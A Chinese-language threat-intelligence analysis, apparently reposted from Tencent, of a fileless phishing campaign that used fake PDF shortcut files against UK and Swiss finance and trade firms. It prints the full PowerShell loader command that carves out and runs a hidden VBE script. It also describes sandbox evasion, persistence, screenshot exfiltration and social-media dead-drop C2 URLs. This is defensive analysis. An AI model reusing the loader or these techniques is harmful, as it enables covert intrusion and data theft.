Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

0
0
一、 概述

近日,腾讯御见威胁情报中心在日常的恶意文件运营中,发现了几个可疑的钓鱼lnk(伪装成快捷方式文件的攻击程序)。经过分析发现,这些lnk构造巧妙,全程无PE文件落地(Fileless攻击),并且把解密key和C2存放在了twitter、youtube等社交站点上。

从关联到的样本来看,攻击针对英国、瑞士等欧洲国家,攻击目标为外贸、金融相关企业。暂时还不详具体的攻击者背景,望安全社区同仁一起来完善攻击的拼图。

该APT组织攻击手法的一些特点:

1.诱饵文件为压缩包中伪装成PDF文档的LNK文件(LNK默认是快捷方式,恶意程序执行后会打开一个欺骗性的PDF文件,这个组合极有欺骗性);

2.攻击过程中,全程无PE文件落地,巧妙避开安全软件的常规检测;

3.攻击程序会判断电脑是否安装网络嗅探工具(wireshark和Nmap,通常为安全研究人员用于网络抓包分析),如果有,就不执行木马核心功能;

4.通过youtube、twitter、Google、wordpress.com的公共空间更新C2,存放解密代码;

5.收集目标计算机名、杀毒软件信息、系统安全时间、系统版本等情报,定时截屏上传;

6.检测是否存在虚拟机等特殊软件。

二、技术分析 1.攻击诱饵

本次攻击的诱饵是一个zip压缩包,名字为:Dubai_Lawyers_update_2018.zip,压缩报里包含2个lnk文件:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

而lnk为攻击者精心构造的恶意lnk,点击运行lnk后,会触发执行包含的恶意代码:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
其中,压缩包里的两个lnk的内容类似,我们以其中一个为例进行详细分析。 2.lnk分析

运行lnk后,执行的恶意代码如下:

Cmd.exe "/c powershell -c "$m='A_Dhabi.pdf.lnk';$t=[environment]::getenvironmentvariable('tmp');cp$m $t\$m;$z=$t+'\'+@(gci -name $t $m -rec)[0];$a=gc $z|out-string;$q=$a[($a.length-2340)..$a.length];[io.file]::WriteAllbytes($t+'\.vbe',$q);CsCrIpT$t'\.vbe'"

该命令的主要功能为:

1)将dubai.pdf.lnk文件复制到”%temp%”目录;

2)将lnk文件结尾处往回2340字节的内容,写入“%temp%\.vbe“文件中;

3)利用cscript.exe将vbe给执行起来。

写入的.vbe文件为使用Encoded加密的脚本文件:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
解密后内容如下:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
3.Vbe脚本分析

先将lnk文件从文件头开始,偏移为2334,大小为136848字节的内容写入“A_Dhabi.pdf”,该文件保存在temp目录,而该文件确实为一个pdf文件。接着打开该pdf文件,让受害者误以为只是简单得打开了一个正常的pdf文件而已:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
打开的pdf文件如下:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
接着将lnk文件中pdf文件之后的338459字节的内容,写入“%temp%\~.tmpF292.ps1”文件中,该文件为powershell脚本:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
最后将接下来的读取位置写入”%temp%\~.tmpF293”文件中,并利用powershell将“~.tmpF292.ps1”文件给执行起来:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
4.~.tmpF292.ps1分析

原始的ps1脚本是经过加密后的脚本:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
经过解密后,发现两个特殊的明文字符串: “Lorem Ipsum is simply dummy text of the printing and typesettingindustry. Lorem Ipsum has been the industrys standard dummy text ever since the1500s” 和“when an unknown printer took a galley of typeand scrambled it to make a type specimen book. It has survived not only fivecenturies but also the leap into electronic typesetting remaining essentiallyunchanged.”

这两个字符串没有参与加密代码的计算,基本上没有任何意义。

而使用搜索引擎搜索该字符后发现,该字符串是为了排版测试的:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

加密的代码经过解密,代码逻辑就十分清晰了:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
其中, $code = @”到”@部分为powershell里调用的c#方法,后面为powershell脚本命令。

该powershell脚本的主要功能为:

1)使用WMI,检测安全软件,包括AVG、AVAST,若存在,则删除中间文件,然后退出;


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
2)判断是否有wireshark和Nmap,若存在,则不执行木马核心功能;
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
3)从~.tmpF293”文件中获取文件偏移,然后从lnk文件中读取信息,然后存入“%temp%\ ~.tmpF291”目录中,涉及到的文件名有~.tmpF222.tmp、~.tmpF295.ico、~.tmpF299.vbe;
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
4)继续会从lnk中读取第二阶段的payload,并利用网上获取到的key对payload进行解密并执行。若网络不通未拿到key,就将第二阶段的payload以加密状态存储在“%temp%\ ~.tmp.e”文件中;
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
5)如果“%temp%\ ~.tmp.e”文件存在,会利用从网络上获取的key去解密此文件,得到第二阶段的payload文件“~.tmpF294.ps1”,并执行此文件。
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

6)获取解密key的url,存储在tmpF222.tmp文件中:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
获取到url如下:

https://youtu.be/40rHiF75z5o

https://brady4th.wordpress.com/2018/11/15/opener/

https://twitter.com/Fancy65716779

https://plus.google.com/u/0/collection/U84ZPF

然后,从这些url中获取相应的解密代码,其中:

“Yobro i sing”字符串开始的位置为stage2 payload的c2;

“My keyboard doesnt work”开始的字符串为解密key:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
从文章的发表时间,我们猜测,真正的攻击开始时间发生在11月15日和11月18日。

7)持久性攻击:在startup目录创建快捷方式,快捷方式会cscript.exe将“~.tmpF291“目录 中的” ~.tmpF299.vbe“文件给执行起来,快捷方式图标为” ~.tmpF295.ico“


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
“~.tmpF299.vbe”解密后内容如下:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
5.Stage2(~.tmpF294.ps1)分析

~.tmpF294.ps1为stage2的脚本文件,同样经过了加密,解密后可以发现与真正的c2通信等功能都在此ps脚本中。

1)使用WMI命令收集相关计算机信息,然后以json格式发送给C2:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
收集的内容包括计算机名、机器名、杀软信息、系统安装时间、系统版本等。格式中还包含“ace”、“dama”、“king”、“joker”等字样。

2)检测虚拟机等特殊软件:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
3)检测wireshark、winpcap、Nmap等特定软件是否安装:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
4)从twitter、youtube、google、wordpress等网站更新C2:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
5)定时截屏并发送:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
6)执行C2下发的powershell脚本:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
7)隐藏“%temp%\~.tmpF291”目录,特殊的存储路径“AA36ED3F6A22”为ip存储路径、“E4DAFF315DFA”域名存储路径、“~.tmpF297.tmp”为c2下发的序列号存储路径。
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
8)根据服务器指定修改定时截屏时的画面质量及频率:
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
三、 关联分析 1.样本拓线:

经过C2的反查,我们又查到找其余几个相同的样本:


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
Confirm.pdf.lnk,d83f933b2a6c307e17438749eda29f02 Gift-18.pdf.lnk,6f965640bc609f9c5b7fea181a2a83ca

而这两个lnk同样来自于一个zip压缩包:Gift-18.zip


使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动
经分析,这两个lnk跟分析的lnk为同一个攻击。而压缩包中还包含了一张图片:

Viewing all articles
Browse latest Browse all 12749